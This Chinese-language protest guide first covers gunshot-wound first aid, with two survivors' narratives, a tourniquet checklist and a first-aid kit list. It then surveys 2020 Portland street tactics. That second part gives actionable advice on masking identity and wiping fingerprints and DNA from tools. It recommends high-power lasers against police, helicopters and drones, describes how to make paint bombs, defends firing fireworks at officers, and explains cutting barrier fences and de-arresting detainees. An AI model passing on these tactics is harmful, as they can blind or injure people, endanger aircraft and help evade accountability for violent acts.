当更高层次的护理人员到达时，无论是急救中心还是街头医护人员，尽您最大的能力给他们一份报告，使用**MIST**缩写词：受伤机制（**M**），所受伤害（**I**），症状（**S**），以及已经采取的任何治疗（**T**）。例如，“他们在两个街区外被步枪射中，左腿有两处弹伤。他们的皮肤触感冰凉，呼吸似乎比正常人慢。我用止血带高高紧紧地缠着，血似乎已经止住了。”

如果医疗护理需要一段时间才能到达，可以考虑用记号笔在病人的手臂上写下症状或其他您注意到的重要信息。可以在皮带上佩戴的小型IFAK，标有十字，方便识别。

疏散

「图」

📌 了解您的疏散选择。您是否在警戒线后，以至于救护车无法通过？当地的医疗团体是否提供去医院的交通工具？如果您认为自己处于救护车可以进入的区域，您可以尝试呼叫救护车。

当您拨打急救电话时，您可以要求他们不要派警察来，但他们很可能会忽略您的要求。如果您决定拨打急救电话，而您是在一群人中积极地试图帮助伤者的人，指定一个人拨打急救电话，并报告伤口和位置，而其余的人则专注于帮助受害者。有可能—— 但不保证—— 急救调度员可以指导您完成基本的创伤反应，直到您得到专业的帮助或可以运送伤员。

如果您或您的战友开车去参加示威，如果附近停着一辆车，其位置可以立即进入道路，就会有帮助。确保您知道钥匙在哪，并且可以让一个以上的人获得车钥匙。在发生枪击事件时，其他人很可能希望协助。如果您自己无法运送伤员，请向周围的人寻求帮助。

在医院

「图」

在一些城市，医院会将枪击受害者置于保护性监护之下，以消除对他们的暴力威胁。

📌 但如果出现这种情况，您将无法在医院系统内找到您受伤的朋友。如果当事人昏迷不醒，无法告诉医护人员该联系谁，医护人员会尝试联系家人。也就是说，如果您进入的环境有可能会受到严重的伤害，您可以在自己的皮肤上用不褪色的信号笔写上一个紧急联系人电话号码，并注明 “紧急情况下打这个电话”。

虽然在发生枪击事件时，这可能不是您最重要的想法，但重要的是要知道大多数大型医院系统提供的项目是什么，您可以通过这些项目申请援助。如果有人命悬一线，您可以要求先救人，在以后解决财务细节问题。

回到家里

「图」

当把伤者从医院带回家时，需要评估他们的家庭情况。他们是一个人

住吗？还是与朋友或家人住在一起？他们的卧室是否在楼梯上？根据伤势的严重程度和预测的恢复时间，他们可能需要改变自己的生活状况。

在很少有公共卫生系统的国家，人们往往很快就出院了—— 有时在他们应该出院之前就出院了。这可能会让人感到害怕，但好消息是，家庭通常是一个比机构更好的恢复环境。您可以租一张病床，可以推的那种，可以摇动把手让伤者坐起来。普通床不具备这种功能。

📌 如有必要，请组织您的社区护理，以便有人在场或24小时提供服务。即使没有必要，也要试着组织一个由朋友和亲人轮流担任照顾者的轮班时间表，以确保照顾工作不至于完全或大部分落在伤者的伴侣身上。此外，您可以制定一个用餐时间表，让互助小组轮流为伤员和护理人员送去食物和杂货，或为他们做饭。

心理创伤

「图」

虽然不用说，不论是您自己被枪击还是帮助被枪击的人、或只是目睹某人被枪击，或您所爱的人被枪击，即使您不在现场，都是一种创伤性事件。您可能会经历一系列的反应，包括噩梦、焦虑、逃跑/僵持/战斗反应、自我怀疑、神经症、恐惧和抑郁。不要孤独一个人，去寻求帮助，形成一个社区关怀圈，每周聚会一次，处理大家的痛苦、困惑和创伤。

📌 如果您的社区中有许多人受到该事件的影响，您可以从您的圈子外寻找朋友或亲人来帮助您处理发生的事。在您所在的城市找一位心理治疗师来帮助您。虽然治疗通常看起来成本很高，但也许可能找到一个非营利组织、诊所系统或大学，在那里接受培训的咨询师可以免费或以优惠价格提供服务。

如果您所在的城市有持续的抗议活动，当地的非营利组织可能会专门为受影响的人提供咨询。此后我们将更详细解释如何做这件事和提供一些工具，可以用来帮助您的社区成员掌握基本的心理救助和互助。

在反抗者社区中，长期以来有一种模仿强硬态度和虚张声势的倾向。📌 您需要分析和/或克服某些不好的社区文化规范，避免“被动”和“好斗”之间的二分法，这样才能帮助您建立可持续的长期运动。请记住，我们要的是一场彻底的革命，而不仅仅是周期性的上街。

附录一：个人叙事

「图」

以下内容来自美国的反抗者，可以帮助您直观地了解在类似情况下的行为。

自叙 1：生与死的界限

「图」

这是一个风雨交加的夜晚，这是一周来持续下雨的第一个夜晚。人们在一家烧烤店的遮阳棚下站着，面前吊着警戒线，等着看会发生什么。不止几个人的腰带里塞着枪。有的人与警察扭打在一起，有的人将碎水泥块扔向坦克；有些人在激烈的争论，我们是否应该回家，不要再违反宵禁了，改天再打。然后，突然，一辆孤零零的警车从后面吱吱喳喳地驶来，警笛声响起。

人群四散，人们惊慌失措，四散奔逃，催泪弹在街上横冲直撞，闪光弹榴弹在警戒线上爆炸。到处都是呛人的烟雾、混乱和恐惧。枪声响起，有人穿过人群向那辆孤零零的警车开火，警车已经转身撤退。我在一个蓝色的邮筒旁，迷茫地与朋友们分开了。人潮顺着街道流向远离警戒线的地方，警察开始推着人群前行，想要疏通人群。被卷入人海中，我沿着人行道走了大概二十步，才看到一群人结结实实地围着躺在地上的一个人。

时间慢了下来。我的两个好友正围着人行道上的一个伤者。那个伤者是我最老最亲的朋友之一。

有人在尖叫：“他中枪了，他中枪了！”我的一个朋友正在喊着让人们后退，当他抬起头来看到我的时候。我看向地上的朋友，他的腿部中弹了。但他的眼睛里的光芒正在逐渐消失，他抱着自己的躯体呻吟着。

我们很困惑，没有血，没有血。到底发生了什么？他伤在哪里？没有血，只是从他嘴里发出一连串令人难忘的呻吟。我是一个母亲，我知道在生与死的分界线上的人听起来是什么样子的，在这绝望和迷茫的时刻，我只知道这个我深爱的人正悲惨地躺在我面前。

我还是不知道到底发生了什么事，但我知道我们必须尽快救人！ 没有人会来帮助我们，也没有人会来救他。我跑向我的车，谢天谢地，我

的车就停在几个街区之外。我飞快地绕过街上尖叫的汽车。当我回来的时候，我发现人们把我朋友抬到一辆已经挤满了人的车里。我尖叫着说他要和我一起走，我的朋友们把他从那些好心的陌生人手中抢了过来。我们沿着街道奔跑，我知道我想去哪家医院，但天黑了，我很困惑。其他队友把车停在我们旁边，问我们是否需要被带到医院。

当我们到了医院，把我的朋友从车里拉出来的时候，他的衣服滑了下来，我才真的看清楚：那里就是入口伤，但没有出口伤（不是贯穿枪伤，子弹留在体内了）。他立即被转到了创伤医院。在接下来的日子里，我们不断听到“可能已经死了”这句话。

在这之前我都不知道中枪是什么意思，中枪意味着什么，就是子弹撕裂了肌肉，也许穿透了骨头，也许摧毁了一些器官 —— 很可能是一些重要的器官。它可能摧毁左肾或脾脏；它可能使两肺塌陷，夹在食道上，在体内出血时，血液会填满内腔。一颗子弹可能最终打进心脏。你可能会在半夜的医院里被一个很有耐心、很善良的心脏科医生哄着看一系列的法律文件，他正准备给你爱的人做第二次开膛破肚的手术，捞出那颗扎在他心脏里的子弹。

那天晚上，运气是站在我们这边的，绝对是这样。但我们对枪伤情况的反应也足够快。后来我发现，很多不同的朋友都这样做了，我不是唯一一个跑去找车的人 —— 我只是先到了那里。而好心的陌生人正试图帮助疏散—— 在这个城市里有很多人被枪杀，人们都知道自己在看什么，以及快速做出正确的反应是多么重要。

我朋友的遭遇并没有阻止我重返街头，也没有阻止他或我的社区的其他人。因为医院把我的朋友置于保护性监护之下，只有我和另外一个朋友能探望他。我的许多朋友在继续肆虐的街头战斗中寻求安慰，很高兴看到他们有机会将他们的悲伤、恐惧、绝望和愤怒转化为行动。

我很庆幸，那晚我恰好就在附近。我很庆幸，身边有那么多人想帮忙。我很感谢人们意识到我们需要他们带我们去医院。我很感谢转到创伤中心的过程足够快，我很感谢善良的外科医生。我很感谢我的朋友内心的意志足够强大，他活了下来。我很庆幸他活了下来。

你们也可以做一些事，做一些准备，当你发现自己遇到类似情况时，可以尽可能让事情变得好起来。

我也感谢抗议现场的紧急救助小组。如果你需要他们，愿他们在你身边。

自叙 2：枪声之后

「图」

我们都听了。一声枪响。它响彻了整个夜晚，在几个小时的相对安静的打斗和激动的人群的沙沙声之后，它奇异地出现了。

广场上有数百人—— 许多人排队想进入活动现场，也可能有同等数量的人试图阻止他们。帽子像短程烟花一样在人群上空飞舞，人们抢着扔帽子。这是一场混乱，鸡蛋、油漆弹、胡椒喷雾和拳头，从各种奇异的角度和四面八方涌来。为数不多的警察在现场并没有介入。从广场上退到黑暗的校园街道上，整个局面看起来就像一部低预算剧中导演拙劣的打斗场景。

但我们都听到了那声爆响。只是那一声。本能地，黑衣人群整个散开了，人们都抬起头来。鉴于我们到那时为止对示威活动中发生的事的了解，我们以为那是一颗闪光弹榴弹。那是我们认为唯一能发出这种声音的东西。但没有第二声爆炸。每个人的目光都重新聚焦在周围的僵局上。推推搡搡，一些加固的横幅和手机被抢走，但相对平静。

抬头看向广场对面，我瞥见了一些不对劲的地方。那是一个我认识的人，一个我知道的敏感人士。他一直在努力确保不会有人受伤，但现在有些不对劲，无法判断是什么。

我和一位队友穿过人群，被推搡着到了他所在的地方。空气中弥漫着各种气味，不是单一的味道，空气中的烟雾还有一种金属的味道。当我们到达他身边时，他脸上的表情告诉我，他已经很危险了，还有那声音，他发出了一种你肯定不会发出的声音。尖叫声和咕噜声混合在一起。我不知道他怎么还能站着。我先到了他身边，他靠在我身上，虚软无力。他的皮夹克的味道，以及他在那绝望的一瞬间压在我瘦小的身躯上的重量，是多年后一直在进入我的梦境、让我惊醒的东西之一。我仿佛背负着一具死尸，但似乎仍是活的。

他直直地盯着我，却又穿透我的身体。我意识到他快死了。但我不知道为什么。各种原因在我脑海里闪过，几乎没有血迹，我也找不到任何东西。我们并没有走那么远，最多也就二十英尺，而我能想到的最大的可能性就是他一定是撞到了头，只有头部受伤才会让他这样语无伦次。

然后医护人员就把他带走了，我们从那一刻起就没有了联系。我盯着医护人员，幸好我信任他，我只能说出 “他受伤了，我不知道伤在哪

里” 之类的话。除了把他从眼前的危险中救出来，我觉得自己完全没用了。

医护人员开始做着自己的工作，现在可以看到有不少血迹的地面上。我听到人群中传来低沉的喧哗声—— 那是当你快要晕倒时发生的时候能听到的东西，隧道尽头的声音。

有人开枪射中了他。

警察突然冲进去把他带走了，把那些训练有素的外伤医护人员强行拉走，我们都在警戒线的另一边尖叫。现在大家都知道他快死了，出事了。我想喊 “他中枪了”；我开始喊，但后来我意识到这可能会引起人们的恐慌。我只是勉强意识到自己已经很恐慌了。我找到了一名医护人员；他们确认有人向他开枪。

警察把伤者装进了某种没有顶的车辆的后面，就像校园警察用的那种车。示威还在继续。找到我的队友要求我们离开，“他们/警察” 在向我们开枪，我们必须离开。但那时候，我甚至不知道威胁来自哪里，也不知道离开是否能更安全 …… 我们在那个犯罪现场呆了几个小时之久。

附录二：额外资源

「图」

1、《像世界正在死亡一样生活》播客播出了对一位经验丰富的街头医生的采访，他对如何在示威活动中应对枪伤做了详细的说明。

2、在另一个播客中，在2017年1月20日的示威活动中被法西斯分子枪击后幸存下来的 Hex 讨论了正义、暴力、父权制和同情心、治疗的关键，以及如何重新定义抵抗。

3、警察武器造成的常见伤害—— 街头医务人员应对非致命性警察弹药和化学武器的指南。*1970*年*5*月*15*日，身穿防暴服的警察在*28*秒内发射了*150*多发子弹，在密西西比州的杰克逊州立大学谋杀了两名年轻的黑人，并打伤了十多人。尽管几天前在肯特州的谋杀案仍广为人知，但随后在杰克逊和乔治亚州奥古斯塔的年轻黑人示威者被谋杀案却常常被人遗忘。

附录三：使用止血带的简要步骤

「图」

- 找出伤口的位置。
- 使用止血带，如果伤口明显在手臂或腿上，并且您可以看到大量的血，则在衣服上使用止血带。
- 确保红色尖端指向心脏。将止血带尽量放高。如果伤口在膝盖或肘部以下，将止血带放在关节上方。
- 拉紧尾部。尽量拉紧带子。
- 转动滑轮，直到血流停止。
- 记下使用止血带的时间。
- 继续与您正在治疗的伤者交谈，让伤者保持清醒。

附录四：建立个人急救箱（IFAK）

「图」

- CAT Gen 7 1个
- 紧急创伤敷料（ETD）2个
- 胸封贴片 2个
- 止血纱布 1包
- 永久信号笔 2支
- 丁腈橡胶检查手套 2副
- 不锈钢剪刀 1把 剪开衣服

希望您和您的队友永远不要碰到这种情况；但是，如果不幸遇到枪伤，您可以采取最及时的最佳措施，以缓解伤势并坚持到救护车到来。〇

—— 未完待续 ——

原文

从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总 - iyouport

示威参与者指南

【2021年5月18日存档】“待在一起，紧紧地待在一起，我们每天晚上都这样做”—— 记住这句歌谣，和大群人紧贴在一起也是一种很有效的战术

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》

在去年两个多月的抗议活动中，波特兰的示威者尝试了各种战术和战略。

从6月中旬开始，波特兰的冲突就引起了国际社会的关注，当时传出联邦探员开着没有标记的汽车将示威者从人行道上强行绑架的画面，特朗普宣布，联邦探员将使用这种模式镇压美国其他城市的抗议活动。特朗普宣布后，波特兰的示威活动成倍增长，每晚都吸引了数千人，直到俄勒冈州州长宣布联邦特工将撤出街头。

本文将总结波特兰示威活动的参与者描述的他们在那里看到和使用的一些工具和战术。

📌 这些工具中的许多在相互结合使用的情况下效果会最好。一如既往，战术的多样性是关键 —— 不仅仅是接受不同的方法，更多是要思考如何将所有这些方法结合成一个共生的整体。

波特兰的抗议活动也产生了一些新的术语，比如 “**swoop**” 这个说

法，它描述的是当一个拿着扩音器的改良主义者玩弄权术，劫持一群由希望看到彻底变革的人们组织的集会时发生的情况。随着示威者扩大他们对在这个迅速分化的社会中“什么是适当的战术”的概念，我们希望他们也将扩大自己对什么是值得为之奋斗的愿景的认识，采用横向的组织模式，并学习如何识别和抵制权力的把戏。

I 数字安全

「图」

我们解释过如何在示威游行中通过适当的手机安全设置来保护您自己的安全—— 在抗议前、抗议中和抗议后，见《指南：当您准备参加抗议活动...》、以及《如何在监视时代参加抗议活动》。

📌 尤其是，非常建议您系统性地学习我们制作的《整体安全》系列教程，最好将这份教程作为您的亲密团队行动前培训的重要部分来进行。这里的链接是该教程最后一集内容，其中包含完整列表。

您还可以在我们的 列表-5 “护盾” 板块中找到很多关于抗议情况下一般安全性的重要知识，从在线到线下，该板块完全为行动者服务，每一份内容都很重要。本文将不再重复已经说过的内容。

II 掩饰和正确的着装

「图」

戴面罩从医学的角度来说是负责任的—— 在大流行的时代，但是，从安全的角度来说，它也是为了保护您自己的隐私。如今您不仅要担心警察拍摄和逮捕你，还要担心在线的 **Trolls** 试图从视频画面中识别您的身份，即 **“doxxing”** 的威胁。

📌 关于如何抵制 doxxing，详见这里《给活动家的反人肉指南》。

📌 关于面罩的选择具体解释，见本系列第3集《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》。

如果示威者能穿着合适的统一黑色团队服装，应该很难辨别出身份细节。

不能只关注脸！要注重您的身体上的各种细节！如果您有纹身和其他独特的特征，必须遮住；遮住您的整张脸，不要只是遮住嘴巴——

简单说，您应该选择面罩，而不是仅仅口罩；检查自己的衣服、鞋子或背包上，不应该有任何明显的标志。

📌 下面是更多细节：

☞ 对您何时何地戴上面罩和穿上匿名衣服，要格外认真；您换衣服的地方不应该有任何监视摄像头存在、也不应该有除了您的亲密团队之外的其他人在场。

如有可能，请提前探索可行的更衣区域，以找到合适的更改空间。请记住，警察特别有可能将目标对准蒙面的行动者。

☞ 穿着和携带不同的服装，这样您就可以为可能发生的一切做好准备。

理想情况下，您应该有一套非常普通的衣着，可以在不引起注意的情况下让您抵达行动地点，然后您就可以为行动本身更换匿名装备，把它套在普通衣服的外面，这样当您离开该地区时及时脱掉外面的衣服，让您看起来就像是一个普通路人。

📌 不要错过，这里介绍的思考方式可以帮助您在这点上的敏感意识：《在你的日常生活中应用隐蔽野战技术：简单方式抵御敌对监视》。

不要忘记保持水分，尤其是当天气炎热的情况下。

☞ 如上所述，如果您有纹身或可见的疤痕，一定要遮盖它们！您可以使用化妆品或遮瑕膏来做到这一点。许多演员和舞者都使用 Dermablend 遮盖纹身，烧伤和疤痕。它具有多种颜色，可以混合以匹配您的肤色，并且具有防水功能，可以持续使用12个小时。

这东西比较贵，但是比保释金便宜。如果找不到 Dermablend 或类似产品，请尽可能用衣服围巾或其他东西遮盖纹身和疤痕。

您可以在这篇报道中了解这样做的重要性《掌纹、疤痕、纹身、物理标记、声音 ……一切都用来跟踪你》。

☞ 同样，您的身上有可见的穿孔吗？耳洞、鼻环、唇环等等，把饰物取下来，遮盖此处，让它不够明显。

☞ 请不要穿着与众不同的衣服进入行动团队！警察可能很愚蠢，但是他们可以将目标人的照片和紫色波点裤与同一个人的相同衣服（不

包括面部）的照片进行匹配，瞄准身材特征和习惯性姿势等细节，以识别一个人；即使这些照片是在不同的日子拍摄的也是如此。

☞ 如果要携带背包或其他包，请不要随身携带。无论您的衣服伪装得有多完美，如果您的包可识别，其他所有都是徒劳的 —— 特别是如果像许多人一样，您换包的频率比换衣服的频率要低得多。

☞ 出于相同的原因，您的鞋子也同样如此 —— 行动中的穿着与您每天习惯的穿着必须不同！这也很重要，因为警察可以尝试使用鞋子的脚印或其他痕迹作为证据。

☞ 在行动团体中时，您的衣服和背包上不应该佩戴任何标志/胸牌等东西，除非，您的团队中每一个人都佩戴了相同的标志。总之，思考方式是，尽可能让水滴融入一片大海。

☞ 再次强调，不要仅仅遮住脸！头巾很受欢迎而且很方便，但是掩饰不够。您需要完全遮住头部，以免看不见您的头发，尤其是与众不同的头发。在某些情况下，如果适合您的行动，您可以尝试假发。

☞ 如果可能，遮住眼睛。护目镜可以做到这一点，同时具有保护眼睛免受化学武器伤害的双重目的。不起眼的普通的太阳镜也可以在紧要关头起作用。在您可能接触化学武器的情况下，不建议使用隐形眼镜。

关于如何选择护目镜的详细介绍，见本系列第3集《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》。

☞ 注意不要留下指纹和**DNA**证据！戴上手套，事先用酒精湿巾擦拭工具和其他物品，以清除它们上的指纹 —— 您永远不知道可能会在混乱中丢失什么。不要忘记手电筒内的电池！上面也有您的指纹。

☞ 在家练习！在期望正面迎战警察惊艳的技艺之前，请不要穿您从未穿过的笨重衣服。您需要熟悉自己的服装、并且穿着舒适，要让它利于激烈动作；同样重要的是，您的视野也不能受到影响。

☞ 不要让上述这些保护性措施给您带来虚假的安全感。要随时当心！评估您的状况以诚实地冒险；如果不确定自己是否可能承受最严重的后果，请不要做任何事。

时刻注意周围的环境并倾听自己的直觉。

确保您了解并信任与您一起工作的人员，尤其是在涉及高风险活动

时。

📌 始终练习正确的《安全文化》！了解并维护您的合法权利，尤其是在压力大的情况下。这样做可能不会使事情变得更好，但是如果不这样做，肯定会使事情变得更糟。

请谨记美国活动家 Abbie Hoffman 描述的革命者的首要职责，4个字：不被抓住。要站着，把事办了。首先有人的安全才有我们未来的一切。

III 后勤

「图」

如果能安排一群人提供食物和其他需要的资源，对维护士气真的很有帮助。波特兰的抗议者们已经深深地感谢 Riot Ribs 出来给大家提供免费食物。这使得人们能够停留更长的时间，让行动者感觉到支持滋养他们的运动是值得的，也是值得冒风险的。

您可以在这里阅读关于 Riot Ribs 的信息。

- 《如何喂饱抗议者？- 走进 “反叛厨房”》

政府和警察知道这些互助努力有多重要，于是镇压会故意针对这些后勤人员，以期借此打击示威者的意志。

不幸的是，穿制服的警察并不是威胁社区基础设施的唯一危险。7月下旬，Riot Ribs 经历了一场涉及身体暴力和恐吓的政变。

凡是有金钱参与的活动，都有很大的内讧风险，除非目标、结构和期望值事先已经非常精确地设定。这点一定要注意。

IV 鼓风机

「图」

鼓风机可以驱散催泪瓦斯或有毒烟雾。

催泪瓦斯实际上是一种细小的颗粒物 —— 您可以想象一袋面粉爆炸的情景，但要比这细小得多，也轻得多。当这些颗粒物落在您身上时，它就会停留在那里，以后还可以再被激活，尤其是被水或汗水激

活。

出于这个原因，示威者会使用鼓风机吹掉人们身上的催泪瓦斯。

注意不要将催泪瓦斯吹向可能影响到其他人的方向。

如下面香港的这段经典视频所演示的，一个鼓风机就可以将一罐气体吹离人们，直到其他人能够将其扑灭。

但是为了获得最佳效果，请同时使用多个鼓风机：

当您在选择鼓风机时，要确保它有一个好的风扇和无线电源。

鼓风机与雨伞和盾牌结合使用效果很好。盾牌可以保护示威者免受冲击弹药的伤害，而鼓风机可以让有毒气体远离示威者，直到有人跑上前去将催泪瓦斯罐子熄灭，或者将罐子扔回给镇压部队的一方。团队合作很重要!

在下面这段视频的开头，您可以看到这种方法的一个例子：

这篇文章追溯了鼓风机作为斗争工具的起源，从香港抗议到 “dad bloc” 在波特兰的首次亮相。

在波特兰冲突期间的某些情况下，手持鼓风机和其他工具的示威者能够将联邦雇佣军部署的催泪瓦斯完全控制在围栏内：

出于相同的目的，波特兰的一些人采用了其他效果较差的工具（例如，电风扇）。

波特兰的联邦雇佣军不甘示弱，使用雾化器向示威者喷洒毒气：

V 伞

「图」

伞可以同时发挥几种功能。

一把伞可以阻挡胡椒喷雾的流向。在示威活动的前面摆上一整排雨伞，可以挡住驻扎在屋顶上的监视摄像头和警察监视者的视线——例如，可以掩盖防御围栏的接口，或者使更换衣服或采用其他战术更加安全。

虽然雨伞不能可靠地替代盾牌，但它也可以帮助挡住警察的榴弹、绿色和蓝色火药信号弹，以及警察用的激光侦查器。

2017年1月20日，在反特朗普的激烈抗争中，一把雨伞就发挥了关键作用，使大批 black bloc 的示威者能够冲出警察的包围圈，逃脱了逮捕。此前在香港的示威活动中，雨伞已经成为一种反法西斯主义的象征。

在波特兰，拿伞的人与拿盾牌的人并肩作战，形成一个方阵，可以在街道上保持一线，为后面的人提供掩护和保护。至少在一个案例中，示威者通过这样的队列缓慢前进，迫使联邦雇佣兵退回到他们的区域内。

雨伞、盾牌和鼓风机一起并肩作战：

就警察而言，他们毫不犹豫地随机盗取游行示威者的雨伞。

VI 盾牌

「图」

到目前为止，在波特兰，盾牌大多用于防御来自远处的攻击 —— 比如冲击弹药、催泪弹等，而不是用来对付警棍。

不同的盾牌设计更适合不同的情况。就像雨伞和鼓风机那样，大量的盾牌聚集在一起可以做一些它们无法单独完成的事。如果您想形成一面盾墙，理想的情况下，您的盾牌应该足够大，能够覆盖您的身体。但是您的盾牌越大，就会越重，越笨拙，越难以运输。小的盾牌可以更轻，更容易潜入抗议区。

很多人除了维护盾墙之外，还一直带着小盾牌，同时扮演着其他角色。

📌 有了哪怕只是一点点的保护，都能让人免于遭受重伤，也能让人有信心守住原本可能无法守住的地盘。

常见的波特兰盾牌设计是将一个塑料桶垂直切割成三个或四个弯曲的矩形，从桶的顶部和底部留下扇形底，用于制作小型盾牌。

另一方面，为了形成盾墙，最好能够将盾牌排成一排，使它们略有重叠，因为即使盾墙有轻微的断裂，也会造成漏洞。因此，在该特定应用中，胶合板可能比塑料桶更可取。

波特兰的一些人已经尝试在盾牌的边缘使用润滑剂，以使警察在进攻时更难以抓住抗议者的盾牌。

确保您在承受打击时使用了有效的技术。如果您使用的是高大的盾牌，要把盾牌非常紧地贴着身体，胸口中心的位置，这样会让您更难被移动，防止对手借助盾牌的力量把你推来推去，确保即使您的盾牌被移动了，也能覆盖您的身体。

奥克兰的盾牌墙，声援波特兰的示威者：

缅甸抗议者对盾牌用法的演示；

VII 体育器材

「图」

您可以用体育器材接住催泪瓦斯，然后扔回去。就像您使用鼓风机那样，📌 确保您与其他示威者沟通良好，并有一个关于您将如何处理瓦斯罐子的深思熟虑的计划—— 这需要在策划阶段完成，在 “角色分配” 的那部分中。

最有效的工具包括长曲棍球棒、飞盘、厨房手套等，任何能让您在不直接接触瓦斯罐子的情况下把罐子扔出去的东西。

示威者也曾用曲棍球棒击回罐子。有些人一直在升级他们的雨伞——例如，将雨伞倒扣在曲棍球杆或曲棍球杆手柄上，让它变成两面都可以用，必要时可以将工具翻转过来，在特定情况下使用最合理的一面。

虽然网络上有很多视频，有人试图用交通锥等物体遮盖催泪瓦斯罐，但用容器装水灭火是更好的主意。下面的视频展示了如何扑灭催泪瓦斯罐：

VIII 气球和泡泡

「图」

示威者用气球来显示风向，以便知道催泪瓦斯会往哪个方向吹，并在背风的方向上策划一个集结点。

他们还利用泡沫来嘲笑警察的力量：

IX 激光器

「图」

在波特兰，示威者用激光迷惑警察和联邦特工；它们还可以使监控摄像头失效。

值得注意的是，在俄勒冈州，用激光对准别人的脸是明文规定的违法行为，而且比防毒面具、盾牌和鼓风机等防卫工具更能引起警方的暴力镇压。事先了解您本地的法律很重要。

那些自己使用激光的人已经成为逮捕的目标，或被胡椒球和橡皮子弹击中，因为很容易追踪激光的来源，除非操作激光的人在两次使用激光之间迅速移动。

7月的最后一个周末，在波特兰看到的激光几乎都是比较便宜的绿色激光，303的（约50mW），可以集体部署，提供掩护，刺激警察。但更强大的蓝色的（约1w到4w）对警察、直升机和无人机更有效。

- 《抗议者使用数百个激光笔"击落"警察无人机》

波特兰人还将激光的使用与频闪功能的大功率手电筒结合起来，以防止警察对人群的观察。使用强光灯进行逆光照射，可能会使警察难以识别出最前面的个人。

X 涂鸦

「图」

这是显而易见的，几乎不值得一提，但示威者在发生冲突的地区到处涂写鼓舞人心的信息，突出了参与者的决心。

联邦特工为了摆出一副无助的受害者的姿态，故意不清理法院上的涂鸦，而事实上他们的暴力挑衅才是整个冲突序列的主要原因。

尽管如此，虽然联邦财产上的涂鸦图像可能会激怒那些已经支持特朗普及其走狗的极右翼选民，但这些图像也传达了那些站出来反抗当局的人的勇气。

XI 漆弹

「图」

示威者用漆弹来干扰戴着面罩或使用透明盾牌的警员的视线。警察需要清晰的视线才能继续攻击人民。

制作漆弹的经典模式之一是将一个小气球充气，然后反复浸入蜡中，直到蜡层能保持形状，然后放气取出气球，在蜡容器中注入油漆。其他容器，如空心的圣诞树饰品，也可以起到同样的作用。您可以在这里找到更多信息。

XII 焰火

「图」

用烟花作为投射物来迷惑或阻止警察和联邦特工的行动，无论是在当时还是在事后流传的镜头中，都有奇妙的视觉效果。通常情况下，将烟花瞄准人是不负责任的，但这里的国家雇佣兵配备了大量纳税人资助的护具，这可以说是防止他们伤害他人，而不是让他们处于危险之中。

另一方面，许多示威者都表示，由于警方部署的闪光弹榴弹的轰鸣声造成的持续创伤，烟花的轰鸣声引发了他们的创伤后应激障碍。您需要衡量利弊，任何事都要有所取舍。

XIII 火

「图」

波特兰的抗议者用火来分散警察的注意力，或者营造庆祝的氛围。这样做的时候必须要非常注意安全问题；在某些情况下，树木或人类已经暴露在火焰之下。一些抗议者使用高空烟花在远处放火。

关于在这些抗议活动中用火是否合适的问题，在注重象征性抗议的示威者和注重直接对抗的示威者之间引起了激烈的争议。镇压警察一直在迅速灭火，警告人们不要放火，并对放火者进行骚扰。

所有有关的火灾都纯粹是象征性的 —— 与明尼阿波利斯第三分局被烧形成鲜明对比的是，抗议活动中并没有任何重要的东西被烧毁。火被用来烧旗帜、垃圾、麋鹿雕像及其被拆除后的位置，有一次还烧了警察工会（PPA）大楼里的一小堆小册子之类的东西。所以所有的争论都是关于象征性的火焰。

抗议者争相扑灭象征性的小火：

XIV 推倒围栏

「图」

自5月底以来，警方在波特兰设置了数道围栏，试图控制示威活动，示威者多次试图推倒或迁移这些围栏。早期的围栏大多是普通的铁链围栏；抗议者将一系列这样的围栏称为“The Sacred Fence”。

要提醒注意的是，有时，被拆掉的围栏被丢弃在街道路口，造成了绊倒或伤害的危险，尤其是当警察随后用催泪瓦斯攻击时，迫使暂时失明的示威者仓皇撤退。拆除围栏后一定要注意放在哪里，要放在安全的地方，不要给自己人的撤退制造障碍。

7月下旬，当局使用了较坚固的框架、栅栏在联邦法院周围建起了一道工业屏障，后面用混凝土块固定。在随后的夜晚，这些砖块被移到了前侧；抗议者和记者经常站在这些砖块上，但联邦雇佣兵会用冲击弹药武器对那些站在砖块上的人进行大量射击。

7月25日，一些示威者配备了电动工具，包括一台便携式角磨机，成功地推倒了一段围栏。角磨机在围栏的一角被有效地使用，但在完成工作之前就用完了电池。教训：先充电，带好备用电池。

电动工具的使用技能可能是新的；伞和盾牌对于保护抗议者免受监视摄像机和冲击弹药的伤害至关重要，而鼓风机可以防止毒雾。

正如阿基米德所说，“给我一个足够长的杠杆和一个可以放置它的支点，我就能撬动地球”。最终，这段围栏被宽大的人群向抗议者一侧拉倒，此前曾有人试图在使用角磨机的地方用一排人拉着绳子将其扳倒。

可能的改进措施包括完成切割，或用大锤敲击未完成的切割。安排两组绳索在切口的缝隙左右两边拉动可能是有意义的：两条链子而不是一条链子。正如人们在推翻雕像的过程中发现的那样，要用没有弹性的带子或链条，而不是用绳子。

抗议者曾用部分铁链围栏作为“盾牌”，但这些并不能阻挡毒气或冲击弹药。他们也曾用它们至少是象征性地“阻挡”法院大门从外面关闭。这实际上从未阻止过联邦特工，因为从来没有人试图堵住法院后面的大门。

一方面，示威者用膨胀的泡沫填充了围栏的一部分，以防止联邦特工射穿它：

撼动或推倒围栏是否可以接受，成为警察和前线人员争论的焦点：

围栏倒下之后：

XV 解除逮捕

「图」

在波特兰的冲突中，示威者多次从企图绑架他们的警察和联邦雇佣兵手中解救人们。通常只有在示威者人数大大超过企图绑架他们的人时，才有可能成功地解除逮捕。

为了成功，行动必须发生得非常快，以至于没有时间让警察或特工的增援部队作出反应。

解除逮捕是有风险的，可能导致比最初的逮捕更高的指控。这不是一个可以轻易采用的战术。然而，如果人数和力量的平衡对示威者有利，成功的解除逮捕可以向当地政府或联邦雇佣军表明，不值得与一群抗议者搏斗，说服他们转而采取驱散战术。

XVI 群众运动

「图」

一般来说，只要警察不准备对每个人进行大规模的逮捕，当警察冲进人群将人群分开时，个人避免被逮捕的最可靠的方法是跟随人群中最大的部分。这是因为—— 在其他条件相同的情况下，最大的人群通常是最难对付的。这种见解是可以扩展的，对抗议者队伍来说，最好的办法是尽可能地保持大的人群。

